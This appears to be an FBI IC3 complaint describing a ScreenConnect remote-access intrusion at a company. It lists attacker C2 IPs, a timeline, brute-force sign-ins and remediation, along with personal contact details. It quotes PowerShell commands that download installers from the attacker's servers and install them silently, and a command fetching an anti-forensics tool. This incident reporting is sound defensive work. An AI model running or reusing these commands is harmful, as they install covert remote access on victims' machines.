Your IC3 Complaint

Submission ID:	1c32ade367084be9acd548f23705736f
Date Filed:	3/27/2026 5:11:17 PM EST
Were you the one affected in this incident?	No

Your Contact Information

Name:	Joel Lohr
Business Name:	Dataforth Corporation
Phone Number:	5207411404
Email Address:	jlohr@dataforth.com

Complainant Information

Name:	Joel Lohr
Address:	3331 E Hemisphere Loop
City:	Tucson
County:	Arizona
Country:	United States of America
State:	Arizona
Zip Code/Route:	85706
Phone Number:	5207411404
Email Address:	jlohr@dataforth.ciom

Business Information

Is this on behalf of a business that was targeted by a Cyber incident?	Yes
Business Name:	Dataforth Corporation

Is the incident currently impacting business operations?	No
Business IT POC:	Mike Swanson, mike@azcomputerguru.com, 5203048300

Financial Transaction(s)

Did you send or lose money in the incident?	No

Information About The Subject(s)

Name:	Angel Reya
IP Address	80.76.49.18

- - - -

Name:	Unknow Name
IP Address	45.88.91.99

Description of Incident

Provide a description of the incident and how you (or those you are filling this out on behalf of) were victimized. Provide information not captured elsewhere in this complaint form:

On March 27, 2026, a threat actor using the alias "Angel Raya" gained unauthorized remote access to a workstation at Dataforth Corporation (Tucson, AZ) through ConnectWise ScreenConnect remote access software. The initial access appears to have been
achieved through social engineering of an employee who downloaded and executed a ScreenConnect client
installer.

Once connected, the attacker used the ScreenConnect backstage command shell to execute PowerShell commands that silently installed two additional ScreenConnect clients configured to connect to attacker-controlled servers at 80.76.49.18 and
45.88.91.99 (both hosted by Virtuo / 12651980 CANADA INC., Montreal QC, AS399486). The attacker then downloaded and used a tool called "Hide From Uninstall List" (from sordum.org) to conceal the rogue software from the Windows control panel. The
attacker returned later the same day through the backdoor under the session name "Administrator."

Investigation of the victim's Microsoft 365 account revealed successful unauthorized sign-ins from Istanbul, Turkey (91.93.232.236) and Croydon, United Kingdom (82.44.33.210), along with a sustained brute-force password attack spanning March 21-27,
2026 from IPs in Frankfurt, Germany (45.86.202.x), Luxembourg (2605:6400:c077:*), and multiple US locations flagged by Microsoft as known malicious IPs. The attacker used Azure AD PowerShell and Azure CLI tools in these attempts.

The pre-built ScreenConnect installer packages have file timestamps of April 8, 2025, indicating this C2 infrastructure has been operational for approximately one year and likely used against multiple victims.

Remediation actions taken: rogue software removed, attacker IPs blocked at firewall, employee credentials reset, all Microsoft 365 sessions revoked. No financial loss has been identified at this time. Abuse reports filed with the hosting provider
(Virtuo) and ConnectWise.

Other Information

If an email was used in this incident, please provide a copy of the entire email including full email headers.

ATTACKER INFRASTRUCTURE:
- C2 Server 1: 80.76.49.18 (port 8040/8041), AS399486, Virtuo / 12651980 CANADA INC., Montreal QC
- C2 Server 2: 45.88.91.99 (port 8040/8041), AS399486, same provider
- ScreenConnect Cloud Relay: instance-wlb9ga-relay.screenconnect.com
- Attacker session name: "Angel Raya" (cloud relay), "Administrator" (C2 backdoor)

MALICIOUS COMMANDS EXECUTED ON VICTIM MACHINE:
powershell -Command "Invoke-WebRequest -Uri 'http://80.76.49.18:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'ScreenConnect.ClientSetup.msi'; Start-Process msiexec -ArgumentList '/i', 'ScreenConnect.ClientSetup.msi', '/qn', '/norestart' -Wait"
powershell -Command "Invoke-WebRequest -Uri 'http://45.88.91.99:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'ScreenConnect.ClientSetup.msi'; Start-Process msiexec -ArgumentList '/i', 'ScreenConnect.ClientSetup.msi', '/qn', '/norestart' -Wait"
Invoke-WebRequest -Uri "https://www.sordum.org/files/downloads.php?hide-from-uninstall-list" -OutFile "C:\Users\Public\Pictures\Backup.zip"

SCREENCONNECT CLIENT IDENTIFIERS:
- Rogue (cloud): 0cad93610010625f, relay instance-wlb9ga-relay.screenconnect.com, session GUID 8bb6c85a-6cab-46ab-8cad-26f6d2672a03
- Rogue (C2 #1): 0dfe1abae029411c, relay 80.76.49.18:8041, session GUID eec1c861-ec30-4c7a-a8e7-cc8a1dbd5a56
- Rogue (C2 #2): a897d9a21259d116, relay 45.88.91.99:8041, session GUID 406bd356-cde4-4738-a22f-f776c8097686
- Rogue client version: 25.2.4.9229 (file dates April 8, 2025)

ANTI-FORENSICS: Sordum "Hide From Uninstall List" v1.1 deployed to C:\Users\Public\Pictures\Backup\HideUL\

M365 UNAUTHORIZED ACCESS IPs:
- 91.93.232.236 (Istanbul, Turkey) - SUCCESSFUL sign-in Mar 27
- 82.44.33.210 (Croydon, UK) - SUCCESSFUL sign-in Mar 22
- 45.86.202.x (Frankfurt, DE) - brute-force Mar 21-26
- 46.173.243.13, 46.173.240.8 - brute-force, flagged malicious by Microsoft
- 199.101.196.54/.220 (Camden, DE) - brute-force, flagged malicious
- 2605:6400:c077:* (Luxembourg) - brute-force Mar 24-27

VICTIM: DF-JOEL2 (192.168.0.143), Win 11 Pro, installed Dec 29 2025. User: jlohr@dataforth.com

TIMELINE (Mar 27, 2026 MST):
08:28 - Rogue ScreenConnect installed from user Downloads folder
08:29 - "Angel Raya" connected, deployed C2 backdoors + anti-forensics

08:32 - "Angel Raya" disconnected
11:55 - "Administrator" connected via 80.76.49.18 C2
12:40 - "Administrator" disconnected
18:51 - Successful M365 sign-in from Istanbul, Turkey

Is this an update to a previously filed complaint? No

Privacy & Signature:

The collection of information on this form is authorized by one or more of the following statutes: 18 U.S.C. § 1028 (false documents and identity theft); 1028A (aggravated identity theft); 18 U.S.C. § 1029 (credit card fraud); 18 U.S.C. § 1030 (computer fraud); 18 U.S.C. § 1343 (wire fraud); 18 U.S.C 2318B (counterfeit and illicit labels); 18 U.S.C. § 2319 (violation of intellectual property rights); 28 U.S.C. § 533 (FBI authorized to investigate violations of federal law for which it has primary investigative jurisdiction); and 28 U.S.C. § 534 (FBI authorized to collect and maintain identification, criminal information, crime, and other records).

The collection of this information is relevant and necessary to document and investigate complaints of Internet-related crime. Submission of the information requested is voluntary; however, your failure to supply requested information may impede or preclude the investigation of your complaint by law enforcement agencies.

The information collected is maintained in one or more of the following Privacy Act Systems of Records: the FBI Central Records System, Justice/FBI-002, notice of which was published in the Federal Register at 63 Fed. Reg. 8671 (Feb. 20, 1998); the FBI Data Warehouse System, DOJ/FBI-022, notice of which was published in the Federal Register at 77 Fed. Reg. 40631 (July 10, 2012). Descriptions of these systems may also be found at www.justice.gov/opcl/doj-systems-records#FBI. The information collected may be disclosed in accordance with the routine uses referenced in those notices or as otherwise permitted by law. For example, in accordance with those routine uses, in certain circumstances, the FBI may disclose information from your complaint to appropriate criminal, civil, or regulatory law enforcement authorities (whether federal, state, local, territorial, tribal, foreign, or international). Information also may be disclosed as a routine use to an organization or individual in both the public or private sector if deemed necessary to elicit information or cooperation from the recipient for use by the FBI in the performance of an authorized activity. "An example would be where the activities of an individual are disclosed to a member of the public in order to elicit his/her assistance in [FBI's] apprehension or detection efforts." 63 Fed. Reg. 8671, 8682 (February 20, 1998).

By typing my name below, I understand and agree that this form of electronic signature has the same legal force and effect as a manual signature. I affirm that the information I provided is true and accurate to the best of my knowledge. I understand that providing false information could make me subject to fine, imprisonment, or both. (Title 18, U.S.Code, Section 1001)

Digital Signature: Mike Swanson